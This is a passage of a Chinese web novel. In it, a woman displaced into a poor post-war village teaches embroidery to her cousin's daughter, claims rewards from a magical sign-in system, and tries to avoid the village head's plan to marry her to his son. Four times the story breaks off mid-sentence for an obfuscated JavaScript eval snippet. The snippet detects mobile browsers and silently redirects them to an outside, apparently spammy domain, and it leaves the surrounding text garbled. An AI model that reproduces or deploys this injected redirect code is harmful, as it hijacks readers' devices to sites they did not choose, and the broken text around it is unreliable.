入夜后,村里各家各户都不舍得开灯,早早就睡下了。 人声渐息,只有蝉鸣蛙声与蟋蟀声连成一片。 梅萍家漆黑的堂屋也没点煤油灯,只有旁边火盆里那根梅萍用艾草和蒿草做的打蚊烟,像萤火虫似的闪着忽明忽灭的星点小光。 夏夜的月光依然很明亮,但也不足以让人看清布料上的绣迹,只能模糊地看到一些轮廓。 黑暗中,董凤芸借着窗外投进来的月光,看姜榕在这样的环境中,仍旧能毫无阻碍地飞针走线,眼中充满了敬佩与羡慕:“表姨,你真厉害!” 姜榕笑了笑说:“这不算什么,等你做针线活熟练后,你也可以。” 如果这是在布料上绣图案,即使是她也无法在什么都看不清的情况下做到。 不过现在姜榕只是要绣出不同针法呈现在布料上的样子,而且她只绣几种最简单的针法。 有些只有一小条,有些是一小块,不用管它们对不对称、是不是一个很好的形状,只要能突出针法的特点就行。 很快她就绣好了。 接着姜榕带着董凤芸用手摸索着,感受这些针法的不同,同时边摸索边给她讲解。 让她摒弃视线去感知,等第二天早上起来,再去看、去一一对照。 这样董凤芸一开始就能对它们印象更深,很快也就能记牢了。 姜榕教了几次,董凤芸就能把她教的东西完完整整地复述出来。 她满意地点头:“我觉得你在这方面很有天赋,以前我学刺绣的时候,有好些同伴远不如你学得快、学得好。” 姜榕的话无疑给了董凤芸极大的鼓励和自信,也让她对学习这门手艺保持了极大的热情。 一直到学完了回去睡觉,躺在床上时,董凤芸都在嘴里小声念叨着她教的东西,什么时候睡着的都不知道。 而同样躺在床上的姜榕,这时候才想起,自己的帕子给了成衣铺,却没跟人家谈价格。 不过现在想起来也无济于事,她又不能马上就去成衣铺要钱。 姜榕原本想明天去城里问一问这事。 可转念一想,人家看上她的手艺后,没让当场做针线活检验,还二话不说直接把布料和丝线给她,让她带回来做,说明人家很相信她,也很坦荡,应该没有故意昧下她两条帕子的意思。 自己为了两条帕子走那么远的路,巴巴地上门去问,倒是有些对不住人家对自己的信任了。 想想还是作罢,反正跑得了和尚跑不了庙,店家的衣料也在她手上呢。 睡前,姜榕照旧打开签到系统,领取今天的签到奖励。 之前梅萍和董大河收拾菜地种粮食,花了两天时间,她在村里每天除了给他们做点饭,就没别的事干了。 近乎无所事事地待了两天,系统刷新出来的日常拦物品和附加栏物品全都只剩下各一样。 日常栏的物品一天是糙米、一天是粗面粉,附加栏则依然是一些东西的碎片,姜榕就还是选了日常栏的物品。 今天没出意外,还是日常栏一样、附加栏一样。 不过日常栏今天没刷新出粮食,而是一瓶饮用水,在姜榕看来是比之前差了,因为她现在根本不缺水。 而附加栏刷新出来的,是她包里刚好有十片的自行车票碎片。 姜榕就选择了附件栏的物品。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16085019|179538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 等东西进入系统包裹,她不由想起自己在城里见到的、那种四四方方有透明窗子的车。 姜榕暗自想:那车没有牛马或者人力拉着走,会不会也是自行车的一种? 她想着想着不自觉睡着了。 次日清晨,照例被村长家那只命很硬的大公鸡叫醒。 她躺在床上,习惯性地打开系统,看一眼倒计时,顺便看看今天刷新出来什么了。 这一看,简直惊呆! 日常栏和附加栏竟然跟首签那天一样,出现了一大串! 等等!怎么还有个礼包?!! 可惜早上时间紧,姜榕还计划着,趁早上梅萍她们去上工前的这点时间,给董凤芸巩固一下昨晚学的东西,再教点新的,得马上起床。 只好先不管系统的变化,赶紧起床。 姜榕本以为自己在清晨天还蒙蒙亮时起来已经很早,结果梅萍她们起得比她还早,她洗漱好去灶房,梅萍都把早饭的苞米粥晾凉到能入口的程度了,可见是更早的时候起来做的。 董凤芸在院子里浇菜,只剩一小块就能浇完。 而董大河已经挑着两桶水从河边回来,显然是已经给菜地那边刚中下没多久的粮食浇过水,挑回来的这两桶水则是倒到水缸里,留着烧水做饭用的。 连最小的董小河也在灶房帮忙看火。 早饭做好了,但灶上还烧着水,那是她们要带去上工时喝的。 “你们怎么起那么早?”明明昨天大家都一样。 梅萍说:“我们以前就是那么早起,只是前几天刚回来,还没休息好,又要忙着种菜种粮食,才睡得沉了些,今天缓过来了,起床的时间就恢复成跟以前一样了。” 其实她没说实话,她们是特地提早起床,把所有活都干了。 因为心里感激姜榕,又没什么能拿得出手报答,只好把家里的活全都做了,不给她沾手,让她醒来直接就能吃上饭。 之前梅萍也说过,家里的活她们干就行,但姜榕住在人家家里,觉得什么都不干不太好,就也做一些力所能及的事。 现在梅萍是实在不好意思再让她干活,又想不出别的方法劝她,只能用这样的笨方法了。 姜榕听到她的话没多想,看董凤芸浇完水,就让她抓紧时间去吃早饭:“吃完早饭,我趁着你们去上工前,再教你一点,晚上你们下工回来,趁着天黑前也能教一会儿,不过这样一来,晚上吃饭洗漱的时间就要往后推迟了。” “不碍事,到时候我们可以在灶房里就着灶膛的火光吃。”梅萍觉得现在什么都不如女儿学手艺要紧。 要不是昨天才死乞白赖求得农场的管事通融让自己女儿去干活,今天就说不去了,实在太对不住人家,她都想让女儿留在家里学了。 而且除了心里觉得过意不去,也有家里什么都缺的原因。 梅萍总是想着,她们农村人一年到头想见点现钱不容易,现在能挣到钱就多挣点,更别说家里不但缺钱,也很缺粮食。 先熬过这段时间,等村里分地,农场那边的活肯定要辞了,回家侍弄自家的地,到时候就不让凤芸下地干活了。 15. 第 15 章 有人提前起床做早饭,还把食物晾凉,确实能省下不少吃早饭的时间。 往常粥太烫,还得小心翼翼地边吹边吃。 今天就快多了,姜榕花了不到五分钟,快速吃完早饭。 正要去洗碗,梅萍连忙把她的碗也抢过去一起洗了。 姜榕无奈,只好带着董凤芸去堂屋外面的屋檐下,在那里坐下,拿出针线包和昨天绣的几种针法,先让董凤萍一个个地对照着认过去,复习昨天自己教的东西。 确认董凤芸没出错并且记牢了,姜榕才开始教她认刺绣需要的工具。 董凤芸心中有些疑惑,刺绣用的东西,除了比较大件的绣棚,不就是针、顶针、绣线、剪刀吗? 直到姜榕把那针线包打开,各式各样的绣花针在晨光下熠熠生辉,她才知道,自己真是想得太简单了。 董凤芸看着那些针,不由自主地发出一声惊叹:“竟然有这么多针!” 针线包里除了针,还有很多不同颜色的绣线,光是红色就有好几种不同的红! 这个董凤芸也第一次见到,不仅她,就连活了三十几年的梅萍也没见过这么多种颜色! “这是以前我丈夫给我寻摸来的,不同的绣法用不同的针和线,能事半功倍,让绣品达到最好的效果。” 姜榕说着随手拿了针和几种绿色的线给她演示——在白布上绣了一片小叶子。 不同的绿色组合在一起,绣出了叶片渐变的光影与层次感,使得那片叶子即使是绣出来的,看起来也那么自然而真实。 董凤芸亲眼看着叶片在白布上慢慢成型,感到心脏随着叶片的成型扑通扑通地狂跳起来。 她捂着心口,想找一个夸它的词儿,可惜语言匮乏,憋了半天,实在想不到合适的,只能说了一句:“真是太好看了!表姨,我什么时候能学这个?” “这是蜀绣针法中的晕针,也是刺绣技法中最难的技法之一,不但要有扎实的基本功、丰富的刺绣经验,还要拥有一双发现美的眼睛,才能学好。” 基本功和经验董凤芸能理解,这‘发现美的眼睛’她却不太懂:“怎样才算拥有一双发现美的眼睛?” “这个不好说,需要你自己去体会摸索。”姜榕确实不好跟她说太多这方面的东西。 其实想要学好晕针技法,良好的审美能力与创造力都是必不可少的因素。 可提高和培养审美能力,需要多欣赏一些好的作品,包括但不限于人的创作,比如绣品、画、书籍,以及大自然的鬼斧神工,比如各个地方的各种不同的风景等等,而这些都需要足够的财力支持。 当然每个人身边的人物、景物、事物等等也是其中之一。 而董凤芸目前最需要的是尽快学会一些相对简单,能给家里带来收益的技法。 现在就说那些需要有足够财力才能支撑得起的东西,不但对董凤芸的帮助不大,还会给她徒增烦恼。 所以姜榕只能让她平时多注意观察身边美好可爱的人和事、景和物。 既然她在刺绣这门手艺上有天赋,或许能有那份机缘,可以在对生活的观察中得到启发、慢慢领悟。 演示结束后,姜榕从最简单的开始教起。 董凤芸虽然很快就学会了,但是在姜榕让她练习的时候,她也依然很认真,丝毫不敢懈怠。 她们在这边一个教得认真、一个学得专注。 家里其他人说话走路都不敢太大声,生怕影响到她们。 梅萍修理家里的农具时,担心弄出声响,特地带着东西跑到了隔壁去,怕小儿子捣乱,还把小儿子也一并带走了。 董大河给厨房的水缸挑水,也是一进院门就放轻了脚步。 不过好处也不是没有,原本走动时水桶里的水多少会洒一点出来,今天是一滴也没洒。 可惜早上大概也就能学一个多小时,就到她们要出发去上工的时间了。 董凤芸意犹未尽,但也得放下针线干活挣工钱去。 姜榕目送着她们和隔壁董芳一家走远后,关好院门,转身回房间里,拿出昨天带回来的几张粗布,仍旧回到早上教董凤芸刺绣的地方,打开一张粗布比划了几下,拿起剪刀熟练地裁剪出要做的衣服的形状。 裁剪好之后,穿好线,坐下开始缝。 姜榕微微低着头,手上慢悠悠地缝衣服,目光似乎一直放在手上的布料和针线上。 实际上,别人看不到,她已经打开系统,查看今天刷新出来的那些物品。 日常栏今天刷新出来足足十样物品:苞米1斤、地瓜1斤、精米1斤、富强粉1斤、黄瓜1斤、猪肉1斤、番石榴1斤、牛奶1瓶、解放鞋碎片1张、布票碎片1张。 附加栏刷新出来的是七样物品:全程护理装卫生巾1包、宝塔糖1瓶、玻璃碎片1张、自行车票碎片1张、收音机票碎片1张、缝纫机票碎片1张、工业票碎片1张。 今早看到这么多东西,可是把她惊呆了。 姜榕今早也是想着等其他人都出门后,就不用那么着急忙慌,可以安安心心地随便查看,才一直忍着没签到。 现在终于有空仔细看了,她特地数了数,才发现不管是日常栏还是附加栏,刷新出来的物品都比首签时还多一样! 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16085020|179538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >而且这次签到后,不但有随机翻倍的奖励,每一栏还能各选择两样物品! 姜榕不禁在心里感慨,系统这次可真大方啊! 比首签时还要大方。 只是她不太懂自己这次到底作对了什么,竟然让系统大方成这样。 要是能找到原因,也不知道能不能复制那个方法,重复获得奖励? 姜榕看向还没打开的礼包。 这次的礼包不像上次,上次的礼包系统直接说明了,是新手首签礼包,这次并没有说明。 不过她没有马上把礼包打开,而是先选择了物品。 这次日常栏里,猪肉肯定是必选的,一斤猪肉抵好几斤米呢,再随机翻倍一下,至少能翻两倍,那就更多了! 第一件好选,到第二件就犯了难。 精米她想选,水果她也想选,还对那富强粉和解放鞋很感兴趣。 最后,姜榕还是选择了富强粉,毕竟那富强粉看起来应该也是粮食一类的物品,选这个,在满足自己好奇心的同时,也给自己的生存多一点保障。 附加栏她选的则是宝塔糖和自行车票碎片。 签到后,骰子出现,姜榕紧张地攥紧了手上的布料,一边点击骰子,一边在心里默念:六六六,千万千万一定是六! 骰子滚动又停下。 竟然还真摇到了六点! 这意味着她选择的物品这次全都可以翻六倍! 姜榕暗暗激动了一会儿,平复心情后,去系统包裹查看获得的物品。 她先看的是自己最好奇的富强粉。 它果然是粮食,而且还是一等精制面粉,因为是富强牌的面粉,所以才被人们称为富强粉。 而宝塔糖也不是她认为的那样只是一种糖果,而是一种专门治疗儿童感染蛔虫和蛲虫的药。 姜榕摸了摸自己的肚子,想起自己在山上时风餐露宿,吃了不少只用山涧或者泉水洗的野果,也不知道肚子里有没有虫。 这药孩子都吃得,大人应该也能吃吧? 姜榕有心想按照简介上的使用方法去吃,可又担心风险提示上那些看着有点可怕的副作用。 最后想着身体没什么不适感,终究是没敢乱吃。 再看自行车票碎片,这次得到六片,加上之前签到选择的那一片,还有首签时开礼包得到的十片,一共就有十七片,距离一百片还很远。 不过姜榕想着,如果自己能知道系统这次那么大方的原因,攒够一百片应该也不是特别难? 她看了一眼还没打开的礼包。 总觉得,原因也许就藏在礼包中。 16. 第 16 章 姜榕有些紧张地在系统包裹中打开礼包。 这次系统白屏终于告诉她,这是什么礼包了。 系统:恭喜您解锁‘进步礼包’! 占据一个格子的礼包瞬间消失。 下一瞬,好几个格子又被物品占据。 她看向新出现的物品:白面馒头1个、冬瓜1个、牛奶1瓶、橘子罐头1罐、北冰洋汽水1瓶、红糖1斤、牛肉罐头1罐、玻璃窗碎片5张、收音机票碎片10张、工作服1套。 姜榕数了数,数量跟首签礼包一样是十样物品。 不过一套工作服里,肯定不只有一件衣服,也算是比上一次的礼包多了。 看到有工作服,姜榕觉得自己的猜测八成没错,这次系统如此大方的原因,果然在礼包里。 “‘进步礼包’、‘工作服’,原来如此,”她用近乎于无的声音喃喃自语,“看来系统认为我出去找工作,是一种‘进步’的表现,所以才如此大方地奖励我。” 她点开工作服,里面果然不止一件衣服。 棉布做的蓝灰色翻领短袖和长袖上衣各一件、黑色直筒长裤一件、蓝灰色格子围裙一件、软底手工布鞋一双、袖套一对。 其中,上衣和围裙都有一个稍大的口袋。 姜榕看了简介,这些口袋是用来放剪子、针线、顶针等工具,好能让工作的人顺手取用的。 “难道系统的意思是,让我在绣娘这条道上一直走到黑?”这就让姜榕有些为难了。 她还想着,等以后自己不需要再为生存费尽心思,生活稳定后,如果有条件的话,就去尝试一下别的工作呢。 好不容易可以不改头换面,不用扮成男人的模样就能在外行走,姜榕可不想一天到晚待在绣房中做绣活。 “算了,走一步看一步吧,以后再难,应该也没有刚来时在山里当野人难,大不了努力多挣钱,以后想要什么东西自己攒钱买。” 姜榕看完工作服,又点开北冰洋汽水的简介,很好奇这种水是什么味道。 可惜这不是自己家,没法随心所欲,只能看看简介过个干瘾,没敢拿出来喝。 看完北冰洋汽水又去看收音机票碎片,结果不出意外,跟第一次看自行车票简介一样,没看懂。 而且这个收音机比自行车还难懂,什么无线电波传输信号、天线、电路、调频……明明都是汉字,组合起来却叫她通通看不明白。 不过看完简介后,通过半蒙半猜倒是知道了,这收音机是可以收听到远距离声音的。 姜榕觉得这个世界真神奇,有很多东西是她哪怕以前看了许多书也从没见过的。 傍晚,梅萍四人回来,姜榕问她知不知道收音机是什么,梅萍也不懂,又问董芳一家,结果她们家人也不知道。 董芳说:“咱们村里怕是全村人都没一个见过,也许城里人会懂?姜姐你不是在成衣铺找到活了么,下次去成衣铺交活要不问问那店里的人。” 姜榕若有所思,城里的新鲜玩意儿确实比村里多很多。 在村里时,她觉得这里的生活跟自己以前生活过的一些村镇,区别并不太大。 到了城里就能明显感觉到很不一样,有许许多多闻所未闻见所未见的新奇物件。 其实礼包里开出的那些东西,除了一看就知道是什么的物品,她都很好奇。 就像罐头,她第一次开猪肉火腿罐头吃的时候,心里也很好奇到底是怎么能密封得那么严实的。 可惜这些终究无法找到答案,只能放在心里,偶尔做针线活无聊了,就放空脑子瞎琢磨一下。 “这个肉你想怎么吃?”梅萍打断了姜榕的思绪。 她今天真的特地去买了一斤肥瘦相间的肉回来。 如果是梅萍自家吃,她肯定专挑大肥肉买,不过谁都知道肉还是这种肥瘦相间的最好吃,爱买大肥肉不过是图大肥肉出油多罢了。 姜榕看到肉,嘴里就忍不住分泌口水了,很想大口大口大块大块地吃肉,可现在不是放纵的时候,总得考虑梅萍家的情况。 “剁成臊子吧,咱们今晚奢侈一回,吃个纯肉臊子做的面条怎么样?”姜榕说完自己都想笑,如今吃一顿纯肉臊子做的面条,对自己来说竟然也是奢侈了。 不过,很神奇,她一点也不觉得难受,反而很开心。 梅萍以前是不太会做面食的,不过这不是前几年跑到在鲁省,待了几年么,如今做面条的手艺还算不错。 “好,你忙去吧,我来做饭。” 姜榕有些不放心地叮嘱:“可不许只做我的份!” “好好好,”梅萍知道她好心,肯定不愿意吃独食,就想着到时候给她多多的臊子,自家几个少吃点,能沾沾荤腥骗骗嘴就够了,“你放心,这顿算你请我们吃的!” 姜榕就笑了,明明是她花的钱,顶多用半斤自己给的粗面粉,掺上她家的玉米粉,却说是自己请的。 不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16085021|179538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等姜榕反驳,梅萍已经去处理肉了,董小河留着口水屁颠屁颠地跟在她身后,在院子里给菜浇水的董大河,那眼睛也忍不住跟着那肉移动。 只有董凤芸,不为外物所动,一直坐在那里认真地练习着姜榕教她的针法。 姜榕看她这么能定得住心,心中感慨,天赋加上勤奋加上坚持以及一颗坚定的心,如果不出意外,董凤芸以后没准真能在这一行闯出属于她自己的一片天。 在油盐充足的情况下,哪怕没什么香料,只放点葱姜料酒去腥,肉臊子的味道都差不到哪儿去。 尤其吃的人还许久没沾过这样的鲜肉,肚子里最缺的就是油水。 姜榕拒绝了梅萍把大半肉臊子分给自己的做法:“我好久没吃肉了,可不想像上次芳芳家那样拉肚子,那可就白瞎了这顿好肉,要不咱们今天这顿只吃一半?剩下的一半,留着明天吃,连吃两天肉,想想就美得很!” 反正今晚做的是纯肉臊子,炒出来带着不少油,有油泡着肉就不容易坏,只多放一个晚上和一个白天还是能吃的。 其他人顺着她的话畅想了一番,想到明天还能吃到肉,一个个嘴角都不由自主地上扬,压都压不住。 吃过饭,姜榕继续教董凤芸。 梅萍跟董大河一人挑起两个水桶,正要去菜地那边给粮食浇水,刚打开院门就碰到了吃饱了饭,出来遛弯的村长董成才。 两人跟董成才打了声招呼,董成才点点头,却没有继续往前走的意思,反而看向院子里。 看到姜榕和董凤芸凑在一起,姜榕用手指了指董凤芸手上那块布,低声说了点什么,董凤芸点点头,拿起剪子把缝在补上的线挑了。 董成才说:“我还奇怪思凤芸这么大了,怎么还不跟你一起往地里干活去,这天都快黑了,三个人干总比两个人快些,原来她在学做针线活啊?” 梅萍点头说:“是,我表妹刚好会,就说教教凤芸。” 她就只简单说了这么一句,没多说别的。 董成才就没好意思多问,又点点头,让她们自忙去,自己背着手继续溜达去了。 背对着董成才走远的梅萍没看到,董成才往前走几步后,脚步越来越慢,眼睛还在不断地偷偷往她家院子里瞄,但这事姜榕发现了。 她没声张,只是从这天起,自己一个人在家时,行事越发小心谨慎了,如非必要,绝对不迈出院门一步。 哪知自己都这样了,还是没能避开麻烦。 17. 第 17 章 那天之后,董成才每天傍晚吃过晚饭都会往这边溜达一圈。 姜榕不知道是不是自己的错觉,董成才的眼神让她觉得很不舒服,有一种被人盯上的感觉。 观察几次后,她可以确认那不是自己的错觉。 因此平时姜榕能尽量不跟他说话,就尽量避免跟他说话,好在两人不熟,也没什么话可说,他又不是梅萍家的邻居,有心不跟对方接触的话,还是可以避开的。 家里跟他搭话比较多的人,一般是梅萍和董大河,如果她们恰好提早出门出拾掇菜地了,就是董凤芸回他的话,跟他唠两句。 这种情况直到持续到七月初,姜榕绣的那幅喜鹊登梅即将收尾,董成才溜达的时候才终于不往这边来。 期间姜榕也隐晦地跟梅萍提过这事,让梅萍去试探过董成才,是不是他家里也有人想学绣活。 姜榕自认不是多么热心肠的人,但是董成才毕竟是董家村的村长,如果多教几个他家的人,能避免麻烦的话,她也不会拒绝。 可梅萍却说:“这怎么可能,最近没听说村长家那个有姑娘和小媳妇儿的亲戚回来,他家就剩下他和他媳妇儿,还有他们的大儿子,他家的亲戚要么没了,要么跑到外地还没回来,现在肯定没人能来学。” 姜榕问:“村长媳妇儿有可能吗?” “不可能,他媳妇儿那手比我的手还糙,纳鞋底、搓草绳、做草鞋、下地干活这些还行,捏绣花针那是可太难为她了!” “我还以为村长往这边溜达得那么勤,是想让家里人来跟着学,又不好意思开口呢。” 其实梅萍也很费解:“我也觉得很奇怪,他家的地不在这头,以前他没事可不会特地往这边溜达,改天我找机会去试探试探。” 没等她找到机会,董成才自己找上了她。 他先是跟梅萍寒暄了几句,又七拐八拐地说了些不咸不淡的话题,就开始回忆她男人以前还在时的事,给梅萍听得一头雾水。 要是她现在日子好过,吃饱了没事干有那瞎想的闲工夫,倒是会时不时回想一下自家那早死的男人。 可现在是什么时候? 正是为生存奔波,每天在外面上工累得回到家恨不得倒头就睡,却还是要硬撑着继续做家里农活的时候! 每天为了填饱肚子已经很苦很累了,她根本没时间、没力气去想已经死了的人! 可这好歹是村长,梅萍还是要给点面子,没有马上就打断他。 只是听了一会儿后,梅萍还是有些不耐烦了,好在董成才比她男人大了超过一轮,算是长辈,不是一块儿长大,不在一起玩,并没有太多可以回忆的事。 同时董成才自己也迫切地想办成自己想办的事,很快就结束了回忆。 话题由梅萍的丈夫,引到‘没了丈夫的女人多可怜’、‘家里还是不能没个男人’、‘顶梁柱缺不得’这些话上。 梅萍听完误会了:“成才叔,你不会是想给我做媒吧?我只听说过媒婆,没听说过还有媒公啊!” 董成才听她那话,听得脸都黑了:“瞎说什么呢!” “哦,不是给我做媒就好,”梅萍松了口气,“我家大河都这么大了,要不了几年就能把家撑起来,而且我虽然只养活三个孩子,但以前生了好几个,可不想再生了!” “我是想问问你,你那远房表妹的男人有消息了吗?” “没呢。”梅萍听到他问这个,刚松的那口气又提了起来。 有心想糊弄过去,但姜榕丈夫的事,隔壁董二旺兄弟俩也知道,她只好照实去说:“前一阵子我表妹去城里找活,跟城门口的战士打听了,人家说会帮她多留意。” “啧,前些年那么乱,保不齐人都没了,现在找人跟大海捞针也没什么两样,你说是吧?” 梅萍可不敢应,打哈哈道:“这我也不好说,各人有各人的想法。” 董成才撇了撇嘴,觉得跟女人打交道就是费劲,要是她男人还在,自己整点好菜,再弄一壶酒,几杯酒下去,什么话都好商量了! “照我说,你表妹年纪也不小了,还不如踏踏实实找个好男人嫁了,好好把日子过起来,再赶紧生个孩子,以后老了也有个依靠,这不比到处没头没脑地找人强多了?现在她还算年轻,还有的挑,万一她找到三十来岁还没找到,那可什么都耽误了!” 董成才说完也不给梅萍说话的机会,兀自又继续说:“我家大强你也熟,他以前可没结过婚,这你也是知道的,虽然大强矮了点,长得也有点普通,但是头婚配你表妹个二婚头的,也算般配了,你回去跟她好好说说,劝劝她,别死脑筋找人了,找不到的,我先回去了,希望过几天能听到你带来的好消息!” 梅萍被他那些不要脸的话震惊得半天没回过神来,想反驳回去的时候,董成才已经走得有些远了。 她气得从地上捡了个土坷垃,往董成才后脑勺砸去。 “哎哟!谁呀?”董成才回过头到处找,“谁那么缺德拿着土坷垃乱扔!” 梅萍没想到自己能扔得那么准,想笑又不敢笑:“可能是哪个皮猴儿,我刚才也没看清,就一个影子在树丛里,歘一下就蹿出去跑远了。” “这些小王八蛋,改天等扫盲队下来开扫盲班,我非得把他们全都抓去上课不可!”董成才骂骂咧咧走了。 梅萍也赶紧回去把这事告诉姜榕。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088286|179538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >姜榕听她说完,直接气笑了,心想怪不得董成才之前总喜欢看偷瞄她和凤芸做针线活,原来打的是这个主意! 他还挺有心眼子,知道眼见为实,等到她真的绣出了成品,确认她确实会刺绣,才显露出目的。 如果不能确认她确实会刺绣,是不是还觉得自己这二婚头配不上他儿子呢? 董成才的儿子姜榕也见过,当时没有多留意,要不是他丑得太突出,姜榕根本记不住他长什么样。 她原本计划在董家村多待一些时间,等自己对这个世界多一点了解,成功拿下成衣铺那边的工作稳定,攒下点钱,再去白城找个安身的固定住所。 还想着以后梅萍一家在董家村,她在白城住着,还能时不时见上面,有什么事也可以互相照应。 现在看来不但董家村,连距离董家村不算远的白城也不好留了。 董成才是本地人,手中还有点小权利,大的地方他也许管不着,董家村这一亩三分里大部分的事他却能说了算。 在这小地方,想找个能制衡董成才的人都不容易。 就算真能找到,非亲非故的,别人凭什么听她一个外来人的话? 想要不相干的人帮忙,又免不了要付出些什么。 东西给出去了,事情能不能好好解决是个未知数,倒是掺和的人越多,事情会被搞得越来越复杂是肯定的。 强硬拒绝也不太好使,跟董成才硬碰硬,很难说这人以后会不会给梅萍一家使绊子穿小鞋。 自己倒是能拍拍屁股走人,可梅萍一家扎根在董家村,故土难离,以后还指望着村里分地时自家能分到好地呢。 她不能不管不顾,得替梅萍一家考虑,得找个既不影响她们以后的生活,又能让自己安全抽身离开的方法。 姜榕叹了口气,本以为自己也能安稳下来,可惜董家村和白城终究不是适合她的栖身之处。 心情怅然间,姜榕忽然想起以前的一件事,那是她跟仲烨然刚私奔时的事。 她本以为仲烨然会带自己去一个深山老林或者与没人认识他们的乡下小村子躲起来。 没想到他根本不考虑那些地方,而是留下一些误导别人的踪迹后,一拐弯,直接去了距离长安说远不算远,说近也不算近的开封。 他之所以这么选,除了赌一把家里追出来抓他们的人,会以为他们肯定要躲起来,不敢去热闹的地方之外,也是因为他认为深山老林和与乡下不适合女子居住。 “女子还是要住在生活便捷、热闹的大城池才更安全。”当时仲烨然是这么说的。 姜榕摸了摸早已洗晒干净的包袱皮,重新打起了精神来,心说:那就去大城池吧! 18. 第 18 章 第二天,姜榕跟没事人一样,一大早起床,吃过早饭照旧教董凤芸,只是不声不响地加快了教学进度。 “这是我做衣服剩下的布头,你按照我前两天教你的做法,给小河量一下尺寸,然后用这些布头给他做一件夏天穿的小背心和小短裤吧。” 董凤芸不敢接,她妈交代过她们三个,不许她们仗着姜榕人好,对她们也好,就随便收她的东西、占她的便宜。 姜榕当然也知道这一点,解释道:“大块的布我已经用来做衣裳了,这只是剩下的两块碎布头而已,我留着这点布,连一件穿里面的小衣也做不了,要不是小河年级小,长得瘦,给他做衣裳用勉强合适,这丁点布料就只能当抹布了。” 董凤芸跟姜榕学了十来天,也看得出那几块布头确实是姜榕说的那样。 又想到小河确实没件换洗的衣服穿,犹豫了一会儿说:“表姨,我能不能先去跟我妈说一声?” 姜榕只好无奈点头:“去吧。” 等梅萍回来看过,又被姜榕劝着接受后,两人跟姜榕道了谢,董凤芸才接下了布料。 然后早上这点时间,她就开始按照姜榕以前教的样子,开始在布料上划线,裁剪做衣服。 这是她第一次上手正式做衣服,哪怕只是最简单的小背心和小裤子,她也做得很认真,尽量把能用上的布全都用上了,剩下的布条,甚至拼拼凑凑地缝起来给衣服和裤子上都做了个小口袋。 在董凤芸做董小河的衣服时,姜榕也没闲着,除了偶尔指点一下,她也在给自己的绣品做最后的收尾。 这天梅萍一家去上工,姜榕也带上绣品,跟着一起出门了。 她出门的时候背着一个小包袱,刚走出去几步,余光就瞥见一个小孩急匆匆往村子另一头跑的背影。 这小孩是干嘛的姜榕和梅萍都心里有数。 果然没一会儿,董成才气喘吁吁地跑来。 他没有马上跟梅萍几人说话,而是先叫住董二旺:“二旺,你晚上回来能不能帮我带回来一斤猪肉?” 明面上他是来找董二旺帮忙的,实际上跟董二旺说话时,眼睛时不时就往要梅萍她们那边飘。 村里人谁去城里就互相让帮忙捎带东西,是很正常的事。 不过每个人也不一定跟全村人都处得好,大家各自有各自处得好的人家,多数时候只会找处得来的人帮忙带东西。 就像董成才以前不怎么往梅萍家附近溜达一样,他以前也不怎么找董二旺帮忙捎带东西,而是找跟他年纪差不多,关系好的其他村民。 董二旺对他找自己这事感觉有点奇怪,但他性格比较憨厚,就没多想,应下后,问清楚董成才要什么肉,又按照城里现在肉类的价格先收了钱,还说:“我晚上五点半左右回来,成才叔你到时候记得来我家拿肉。” “好,我记住了。”董成才面上笑着点头,实际在心里骂他没眼力劲儿,一点不懂圆滑变通,竟然不主动送去自己这个村长家,还让自己亲自去他家拿。 他完全没考虑到,两家在村子相反方向的两头。 人家董二旺在城里做搬运工,一天都在使力气,干完活还得走路回来,回到家累得不行了,肯定要休息,哪还有多余的力气去给他送东西? 董成才跟董二旺说完,才装作不经意地样子,看向姜榕她们那边。 视线在姜榕身上背着的小包袱上掠过,跟梅萍寒暄几句,立刻把话题拐到姜榕身上:“你表妹这是找到她男人了,要去投奔她男人?” 嘴巴比较快的董三福不知道内情,又着急赶去城里上工,就插了话:“不是,她是要去城里的成衣铺子交活,叔,你还有事不?我们赶时间呢!” 董成才心里暗骂:这兄弟俩都是夯货。 “没事了没事了,我也是关心一下咱们外来人员的去向,上头特地叮嘱过,虽然打完仗了,但隐藏在群众里的特务也不少,我这种在村里管事的得多留意,要不然出什么问题,上头第一个找我,希望你们能谅解、配合我的工作。” 